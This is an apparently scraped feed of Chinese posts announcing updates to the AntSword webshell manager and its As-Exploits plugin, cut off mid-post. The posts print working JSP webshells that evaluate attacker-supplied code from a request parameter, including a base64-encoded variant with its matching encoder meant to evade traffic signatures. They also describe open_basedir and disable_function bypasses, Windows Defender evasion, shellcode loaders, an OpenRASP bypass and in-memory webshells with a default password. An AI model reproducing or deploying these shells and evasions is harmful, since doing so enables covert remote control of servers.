&#34;Microsoft YaHei&#34;, Arial, sans-serif;"><a href="https://xz.aliyun.com/t/9715)" target="_blank">https://xz.aliyun.com/t/9715)</a></span><br/></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span style="font-size: 14px;"><strong>值得一提的是，JSPJS 类型可以通过「迂回」的方式去「直接使用」原来的 JSP 类型 WebShell, 留给大家去探索了</strong></span></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span style="font-size: 14px;color: rgb(255, 0, 0);"><strong>请耐心看完下面的 Note</strong></span></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span style="font-size: 14px;">目前该类型默认生成的 WebShell 如下:</span></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span style="font-size: 14px;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="php"><code><span class="code-snippet_outer">&lt;%</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">    javax.script.ScriptEngine engine = <span class="code-snippet__keyword">new</span> javax.script.ScriptEngineManager().getEngineByName(<span class="code-snippet__string">&#34;js&#34;</span>);</span></code><code><span class="code-snippet_outer">    engine.put(<span class="code-snippet__string">&#34;request&#34;</span>, request);</span></code><code><span class="code-snippet_outer">    engine.put(<span class="code-snippet__string">&#34;response&#34;</span>, response);</span></code><code><span class="code-snippet_outer">    engine.<span class="code-snippet__keyword">eval</span>(request.getParameter(<span class="code-snippet__string">&#34;ant&#34;</span>));</span></code><code><span class="code-snippet_outer">  } <span class="code-snippet__keyword">catch</span> (<span class="code-snippet__keyword">Exception</span> e) {</span></code><code><span class="code-snippet_outer">    out.println(<span class="code-snippet__string">&#34;Error:// &#34;</span>+e.toString());</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">%&gt;</span></code></pre></section><p style="text-align: left;"><br/></p><p style="text-align: left;"><span style="font-size: 14px;">从WebShell代码上就能看出来，在流量层上和 PHP 最基础的WebShell </span><span style="font-size: 14px;color: rgb(255, 0, 0);">&lt;?php eval($_POST[&#39;ant&#39;]);?&gt;</span><span style="font-size: 14px;"> 一样具有明显特征，</span><span style="font-size: 14px;color: rgb(255, 0, 0);"><strong>不建议直接使用</strong></span><span style="color: rgb(255, 0, 0);"><strong><span style="font-size: 14px;">, 请配合自定义编码器进行</span></strong></span><span style="font-size: 14px;">:</span></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span style="font-size: 14px;">eg:  b64pass 编码器</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;"></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="kotlin"><code><span class="code-snippet_outer"><span class="code-snippet__comment">// b64pass 编码器</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__string">&#39;use strict&#39;</span>;</span></code><code><span class="code-snippet_outer">module.exports = (pwd, <span class="code-snippet__keyword">data</span>) =&gt; {</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">data</span>[pwd] = Buffer.from(<span class="code-snippet__keyword">data</span>[<span class="code-snippet__string">&#39;_&#39;</span>]).toString(<span class="code-snippet__string">&#39;base64&#39;</span>);</span></code><code><span class="code-snippet_outer">  delete <span class="code-snippet__keyword">data</span>[<span class="code-snippet__string">&#39;_&#39;</span>];</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">data</span>;</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="text-align: left;"><br/><span style="font-size: 14px;"></span></p><p style="text-align: left;"><span style="font-size: 14px;"><strong>对应 WebShell 如下:</strong></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer">&lt;%!</span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">byte</span>[] <span class="code-snippet__title">base64Decode</span>(<span class="code-snippet__params">String str</span>) throws Exception</span> {</span></code><code><span class="code-snippet_outer">  Class base64;</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">byte</span>[] <span class="code-snippet__keyword">value</span> = <span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">    base64=Class.forName(<span class="code-snippet__string">&#34;sun.misc.BASE64Decoder&#34;</span>);</span></code><code><span class="code-snippet_outer">    Object decoder = base64.newInstance();</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">value</span> = (<span class="code-snippet__keyword">byte</span>[])decoder.getClass().getMethod(<span class="code-snippet__string">&#34;decodeBuffer&#34;</span>, <span class="code-snippet__keyword">new</span> Class[] {String.class }).invoke(decoder, <span class="code-snippet__keyword">new</span> Object[] { str });</span></code><code><span class="code-snippet_outer">  } <span class="code-snippet__keyword">catch</span> (Exception e) {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">      base64=Class.forName(<span class="code-snippet__string">&#34;java.util.Base64&#34;</span>);</span></code><code><span class="code-snippet_outer">      Object decoder = base64.getMethod(<span class="code-snippet__string">&#34;getDecoder&#34;</span>, <span class="code-snippet__literal">null</span>).invoke(base64, <span class="code-snippet__literal">null</span>);</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">value</span> = (<span class="code-snippet__keyword">byte</span>[])decoder.getClass().getMethod(<span class="code-snippet__string">&#34;decode&#34;</span>, <span class="code-snippet__keyword">new</span> Class[] { String.class }).invoke(decoder, <span class="code-snippet__keyword">new</span> Object[] { str });</span></code><code><span class="code-snippet_outer">    } <span class="code-snippet__keyword">catch</span> (Exception ee) {}</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">value</span>;</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer">%&gt;</span></code><code><span class="code-snippet_outer">&lt;%</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">    javax.script.ScriptEngine engine = <span class="code-snippet__keyword">new</span> javax.script.ScriptEngineManager().getEngineByName(<span class="code-snippet__string">&#34;js&#34;</span>);</span></code><code><span class="code-snippet_outer">    engine.put(<span class="code-snippet__string">&#34;request&#34;</span>, request);</span></code><code><span class="code-snippet_outer">    engine.put(<span class="code-snippet__string">&#34;response&#34;</span>, response);</span></code><code><span class="code-snippet_outer">    engine.eval(<span class="code-snippet__keyword">new</span> String(base64Decode(request.getParameter(<span class="code-snippet__string">&#34;ant&#34;</span>))));</span></code><code><span class="code-snippet_outer">  } <span class="code-snippet__keyword">catch</span> (Exception e) {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">out</span>.println(<span class="code-snippet__string">&#34;Error:// &#34;</span>+e.toString());</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">%&gt;</span></code></pre></section><p style="text-align: left;"><br/></p><p style="text-align: left;"><strong><span style="font-size: 14px;">请自行对照最基础的 WebShell 样例自由发挥，再多的就不需要我再说了吧 :)</span></strong><span style="font-size: 14px;"></span></p><p style="text-align: left;"><br/></p><ul class="list-paddingleft-2" style="list-style-type: disc;"><li><p style="text-align: left;"><span style="font-size: 14px;"><span style="color: rgb(36, 41, 46);font-family: &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;;font-size: 20px;text-align: left;background-color: rgb(255, 255, 255);">❗️</span>PHP/PHP4 类型增加 Bypass open_basedir (自动尝试)</span></p></li></ul><p style="text-align: left;"><br/></p><p style="text-align: left;"><span style="font-size: 14px;">利用的是 chdir(&#39;..&#39;); 的方式, 仅会在目标配置了 open_basedir 时才会自动尝试。使用时无感知，如果是插件开发者，需要判断 open_basedir 的值是不是 / , 当然也会影响当前所在目录</span></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span style="color: rgb(255, 0, 0);"><strong><span style="color: rgb(255, 0, 0);font-size: 14px;">该功能会影响v0.13之前版本 PHP Bypass DisableFunction 插件, 请及时更新插件</span></strong></span></p><p style="text-align: left;"><br/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p style="text-align: left;"><br/></p><p style="text-align: center;"><span style="font-size: 16px;"><strong>虚拟终端</strong></span></p><p style="text-align: left;"><br/></p><ul class="list-paddingleft-2" style="list-style-type: disc;"><li><p style="text-align: left;"><span style="font-size: 14px;">虚拟终端显示文字样式调亮(thx @<strong>Nearg1e</strong> 帮我们</span><span style="font-size: 14px;color: rgb(255, 0, 0);"><strong>暗中</strong></span><span style="font-size: 14px;"><strong>收集调研了一波需求</strong>)</span></p></li><li><p style="text-align: left;"><span style="font-size: 14px;">终端执行命令路径分割符由固定的 [S][E] 改为随机字符串</span></p></li></ul><blockquote class="js_blockquote_wrap" data-type="2" data-url="" data-author-name="" data-content-utf8-length="24" data-source-title=""><section class="js_blockquote_digest"><section><span style="font-size: 14px;">别问, 要问就去问 Windows Defender</span></section></section></blockquote><p><br/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p style="text-align: left;"><span style="font-size: 14px;"><br/></span></p><p style="text-align: center;"><span style="font-size: 16px;"><strong>数据管理</strong></span></p><p style="text-align: left;"><br/></p><ul class="list-paddingleft-2" style="list-style-type: disc;"><li><p style="text-align: left;"><span style="font-size: 14px;">开启代理情况下在数据管理状态栏会有提示</span><span style="font-size: 14px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></p></li></ul><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.1980074719800747" data-s="300,640" style="" data-type="png" data-w="1606" src="https://wechat2rss.xlab.app/img-proxy/?k=ae01d6d3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy1SoCBjC2icLwqXW8OgYic9icibr8QpkZNtsiaic1hSx97SanwPGpQ6Ajyk43F8F6ZYKcwemYfRpHPvhzpg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p style="text-align: center;"><br/></p><section style="text-align: center;text-indent: 0em;"><span style="font-size: 16px;"><strong>后端模块</strong></span></section><p style="text-align: left;"><br/></p><ul class="list-paddingleft-2" style="list-style-type: disc;"><li><p style="text-align: left;"><span style="font-size: 14px;">修复 multipart 发包方式下, 编码器中 data 内容不为字符串时异常</span></p></li></ul><p style="text-align: left;"><span style="font-size: 14px;">eg:</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer"><span class="code-snippet__string">&#39;use strict&#39;</span>;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__built_in">module</span>.exports = <span class="code-snippet__function">(<span class="code-snippet__params">pwd, data</span>) =&gt;</span> {</span></code><code><span class="code-snippet_outer">  data[<span class="code-snippet__string">&#39;test&#39;</span>] = <span class="code-snippet__number">123</span>; <span class="code-snippet__comment">// 这里会引发异常</span></span></code><code><span class="code-snippet_outer">  data[pwd] = data[<span class="code-snippet__string">&#39;_&#39;</span>];</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">delete</span> data[<span class="code-snippet__string">&#39;_&#39;</span>];</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">return</span> data;</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="text-align: left;"><span style="font-size: 14px;"></span></p><p style="text-align: left;"><br/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p style="text-align: left;"><br/></p><p style="text-align: center;"><span style="font-size: 16px;"><strong>插件相关</strong></span></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span style="font-size: 14px;color: rgb(255, 0, 0);"><strong>请及时更新相关插件</strong></span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"></span></p><ul class="list-paddingleft-2" style="list-style-type: disc;"><li><p style="text-align: left;"><span style="font-size: 14px;">ExecuteScript 支持 JSPJS 类型</span></p></li><li><p style="text-align: left;"><span style="font-size: 14px;">GenShell 支持 JSPJS 类型 Shell 生成</span></p></li><li><p style="text-align: left;"><span style="font-size: 14px;">Bypass disable_function</span></p></li><ul class="list-paddingleft-2" style="list-style-type: square;"><li><p style="text-align: left;"><span style="font-size: 14px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">修正 bypass open_basedir 场景下上传路径问题</span></p></li><li><p style="text-align: left;"><span style="font-size: 14px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">.a</span><span style="font-size: 14px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">ntproxy.php 上传至与 Webshell 同路径下</span></p></li><li><p style="text-align: left;"><span style="font-size: 14px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">php -S 利用方式</span><span style="font-size: 14px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">会在界面显示开启的临时端口</span></p></li></ul><li><p style="text-align: left;"><span style="font-size: 14px;">PortScan 支持 JSPJS 类型</span></p></li><li><p style="text-align: left;"><span style="font-size: 14px;">Out-of-Network 支持 JSPJS 类型</span></p></li></ul><p style="text-align: left;"><br/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p><br/></p><p><strong style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: left;"><span style="font-size: 16px;">写在最后</span></strong><br/></p><p><br/></p><p><span style="font-size: 15px;">没了，有新版就快更新吧</span><br/></p><p><br/></p><hr style="white-space: normal;border-style: solid;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-color: rgba(0, 0, 0, 0.1);transform-origin: 0px 0px;transform: scale(1, 0.5);"/><p style="white-space: normal;text-align: center;"><br/></p><p style="white-space: normal;text-align: center;"><img data-copyright="0" data-ratio="1" data-s="300,640" style="height: 198px;width: 198px;" data-type="jpeg" data-w="258" src="https://wechat2rss.xlab.app/img-proxy/?k=a606fcfb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FlkcJVly3Wy3kYxrKTnbxKyJeZhmfzqjkiaA1gWNNFdGMgnpWbicm1mzDFq0Sicfzv5HPHqRlyuDDeUHTE8QJpm9FQ%2F640%3Fwx_fmt%3Djpeg"/></p><p style="white-space: normal;text-align: center;"><span style="font-size: 12px;color: rgb(136, 136, 136);">不如关注一波再走？</span></p><p><br/></p><p><br/></p>



<p><a href="https://github.com/AntSwordProject/antSword/releases/tag/2.1.13">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=fb4d1cf5&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI0MDI5MTQ3OQ%3D%3D%26mid%3D2247484243%26idx%3D1%26sn%3D63d3b699f49cebba9a2b8ecb91100909%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 19 Jun 2021 13:57:00 +0800</pubDate>
    </item>
    <item>
      <title>As-Exploits v1.3更新</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI0MDI5MTQ3OQ==&amp;mid=2247484237&amp;idx=1&amp;sn=0e94245e9b8f576e782a2a9a09924a7c</link>
      <description>震惊！神秘插件，竟增添了如此功能。。。</description>
      <content:encoded><![CDATA[<p>
原创 <span>yzddMr6</span> <span>2021-05-15 19:13</span> <span style="display: inline-block;"></span>
</p>

<p>震惊！神秘插件，竟增添了如此功能。。。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=d05e0475&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FlkcJVly3Wy1wQ16j5Q02lP62kmekQgiacWhHf5RDjTiasb6qwlmYcIricTVBrwrX7TWtt6gyWUslE9miaxRqtJZRdA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2 data-lake-id="6dzXe" data-wording="true" style="padding-top: 7px;padding-bottom: 7px;font-weight: 700;font-size: 24px;line-height: 32px;">更新主要内容<br/></h2><h2 data-lake-id="6dzXe" data-wording="true" style="white-space: normal;">注：需要将蚁剑更新至v2.1.12</h2><h3 data-lake-id="rEYIO" data-wording="true" style="padding-top: 7px;padding-bottom: 7px;font-weight: 700;font-size: 20px;line-height: 28px;">v 1.3 (2021/5/14)</h3><ul lake-indent="0" style="padding-left: 23px;font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;" class="list-paddingleft-2"><li><p>equals支持数组传参方式，兼容各种容器</p></li><li><p>jsp新增 ShellCode加载器模块，内置两种分别基于jna跟java agent的shellcode加载方式</p></li><li><p>jsp新增 Bypass OpenRASP 模块，thx@Godzilla</p></li><li><p>JarLoader模块 新增手动上传方式，解决因Tomcat最大POST长度为2m导致无法加载内存Jar的问题</p></li><li><p>reGeorg内存马改为更稳定的neo-reGerog，默认密码：asexploits</p></li><li><p>冰蝎内存马支持3.7，去除pageContext依赖，兼容Spring等容器</p></li><li><p>各模块兼容JDK5</p></li></ul><p data-lake-id="0e7d3a1b308672389e6f3884358eba57" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">挑几个重点的说说</p><h2 data-lake-id="WOgWw" data-wording="true" style="padding-top: 7px;padding-bottom: 7px;font-weight: 700;font-size: 24px;line-height: 32px;">Shell入口参数支持数组形式</h2><p data-lake-id="9d148b1e5c4faad47ba7f25f86d9f0f7" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">Shell入口参数即下面new Object[]{request,response}的部分。</p><pre style="background: none 0% 0% / auto repeat scroll padding-box border-box rgba(0, 0, 0, 0);"><span style="background: none 0% 0% / auto repeat scroll padding-box border-box rgba(0, 0, 0, 0);"><span style="color: rgb(191, 191, 191);margin-right: 8px;background: none 0% 0% / auto repeat scroll padding-box border-box rgba(0, 0, 0, 0);"></span><span style="background: none 0% 0% / auto repeat scroll padding-box border-box rgba(0, 0, 0, 0);"></span></span></pre><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">&lt;%</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__built_in">String</span> cls = request.getParameter(<span class="code-snippet__string">&#34;ant&#34;</span>);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (cls != <span class="code-snippet__literal">null</span>) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">new</span> U(<span class="code-snippet__keyword">this</span>.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(<span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">Object</span>[]{request,response});</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">%&gt;</span></code></pre></section><pre style="background: none 0% 0% / auto repeat scroll padding-box border-box rgba(0, 0, 0, 0);"><span style="background: none 0% 0% / auto repeat scroll padding-box border-box rgba(0, 0, 0, 0);"><span style="background: none 0% 0% / auto repeat scroll padding-box border-box rgba(0, 0, 0, 0);"></span></span><br/></pre><p data-lake-id="d5b95a3f128ab204e9047d147effcc14" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">至于为什么要改这个玩意要从内存马的兼容说起。</p><p data-lake-id="78e36511552a08343018f5eae633624f" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><br/></p><p data-lake-id="d2cf056628f02de23310f1e56c975fe2" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">除了由于写法问题而导致的各种乱七八糟的问题以外，连接内存马的一个主要问题是冰蝎在入口处采用了pageContext这个类来获取request response session对象。但是以filter型内存马为例，doFilter中三个参数分别是ServletRequest，ServletResponse，FilterChain，并不存在pageContext这个东西，并且在SpringBoot这种容器里根本没有pageContext这个类。</p><p data-lake-id="d2cf056628f02de23310f1e56c975fe2" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><br/></p><p data-lake-id="2d5db001cda879c668c5a97e6b560eff" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">于是就有很多师傅提出了自己的解决办法，大体分为三种：</p><ol lake-indent="0" style="padding-left: 23px;font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;" class="list-paddingleft-2"><li><p>自己声明一个pageContext类，在里面实现对应的request跟response的getter setter。<a href="https://mp.weixin.qq.com/s?__biz=MzU2NTc2MjAyNg==&amp;mid=2247484318&amp;idx=1&amp;sn=ece9e52218be0ea84ef166c3bfd20f23&amp;scene=21#wechat_redirect" target="_blank" rel="noopener noreferrer" data-linktype="2">冰蝎改造之不改动客户端=&gt;内存马</a>。</p></li><li><p>改写冰蝎的入口为request+response，不再采用pageContext作为入口。但是弊端就是不能再用equals了，要重新写一个方法用反射调用。冰蝎改造之适配基于tomcat Filter的无文件webshell - 先知社区 (aliyun.com)</p></li><li><p>采用蚁剑原来的Custom模式，把恶意函数直接通过字节码打进去，然后通过方法名调用。不过由于直接编译恶意函数的字节码较大会超过最大长度限制，一般要先写入目标然后配合URLClassLoader才能使用。使用WebLogic CVE-2020-2883配合Shiro rememberMe反序列化一键注入蚁剑shell - 先知社区 (aliyun.com)</p></li></ol><p data-lake-id="e06c220c5ed5eb7d4e14e8ddc06390a2" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">以上的这些方法可以是可以，但是不够优雅。</p><p data-lake-id="cc76d6288222773860116a6f7bd61607" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><br/></p><p data-lake-id="1a2665bd46052a17e0b177e92c89ded6" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">回想我们最开始的问题，为什么要用pageContext，是为了拿到当前请求的上下文，更精确一点就是输入输出：request,response。request是接收参数，response是回显，两者缺一不可。</p><p data-lake-id="1a2665bd46052a17e0b177e92c89ded6" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><br/></p><p data-lake-id="e1d8d5f3156b7c218b95e484cea6d6a7" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;">后来自己调试的时候发现在request中本身就包含了当前的response，同样response中也包含了当前的request。</p><p data-lake-id="3787777c09949dc952e192aa589d7569" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><span data-card-type="inline" data-lake-card="image" data-card-value="data:%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2021%2Fpng%2F1599908%2F1621067954640-30c5d253-086e-4c5f-9664-d4f3d58279a9.png%22%2C%22originalType%22%3A%22binary%22%2C%22width%22%3A580%2C%22height%22%3A230%2C%22linkTarget%22%3A%22_blank%22%2C%22name%22%3A%22image.png%22%2C%22size%22%3A18082%2C%22originWidth%22%3A609%2C%22originHeight%22%3A241%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22search%22%3A%22%E8%AE%A1%E7%AE%97%20%E8%A1%A8%E8%BE%BE%E5%BC%8F%3A%20(RequestFacade)request).request.response%20%E7%BB%93%E6%9E%9C%3A(%3F)%2000%E7%BB%93%E6%9E%9C-Response%403838%20formatenull%20coyoteResponse-Response%403860%22%2C%22ocrLocations%22%3A%5B%7B%22x%22%3A38.0852%2C%22y%22%3A4.093647%2C%22width%22%3A31.072095000000004%2C%22height%22%3A16.098116%2C%22text%22%3A%22%E8%AE%A1%E7%AE%97%22%7D%2C%7B%22x%22%3A14.564687%2C%22y%22%3A43.048595%2C%22width%22%3A49.722213%2C%22height%22%3A14.282935000000002%2C%22text%22%3A%22%E8%A1%A8%E8%BE%BE%E5%BC%8F%3A%22%7D%2C%7B%22x%22%3A34.418346%2C%22y%22%3A77.15253%2C%22width%22%3A415.388254%2C%22height%22%3A17.257279999999994%2C%22text%22%3A%22(RequestFacade)request).request.response%22%7D%2C%7B%22x%22%3A15.008519%2C%22y%22%3A136.09244%2C%22width%22%3A54.281881000000006%2C%22height%22%3A14.971359999999976%2C%22text%22%3A%22%E7%BB%93%E6%9E%9C%3A(%3F)%22%7D%2C%7B%22x%22%3A41.14738%2C%22y%22%3A160.67584%2C%22width%22%3A205.83317%2C%22height%22%3A15.942710000000005%2C%22text%22%3A%2200%E7%BB%93%E6%9E%9C-Response%403838%22%7D%2C%7B%22x%22%3A88.40173%2C%22y%22%3A186.7353%2C%22width%22%3A95.59705000000001%2C%22height%22%3A14.214529999999996%2C%22text%22%3A%22formatenull%22%7D%2C%7B%22x%22%3A86.83114%2C%22y%22%3A209.98792%2C%22width%22%3A276.51106%2C%22height%22%3A18.370479999999986%2C%22text%22%3A%22coyoteResponse-Response%403860%22%7D%5D%2C%22id%22%3A%22QT8Z4%22%2C%22margin%22%3A%7B%22top%22%3Atrue%2C%22bottom%22%3Atrue%7D%7D"><img data-height="230px" data-ratio="0.3957307060755337" title="image.png" data-type="png" data-w="609" style="visibility: visible;width: 580px;" src="https://wechat2rss.xlab.app/img-proxy/?k=3d8ea4db&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy1wQ16j5Q02lP62kmekQgiacVcpnyk84ibbbaZadhibl0bB6naF1QfRGnQ6qMJOnXRFhlLicXA8KIYNlw%2F640%3Fwx_fmt%3Dpng"/></span></p><p data-lake-id="f30d3bb0247d800df218d1ae56f1ee9d" data-wording="true" style="font-size: 15px;color: rgb(64, 64, 64);line-height: 1.74;letter-spacing: 0.008em;outline-style: none;overflow-wrap: break-word;"><span data-card-type="inline" 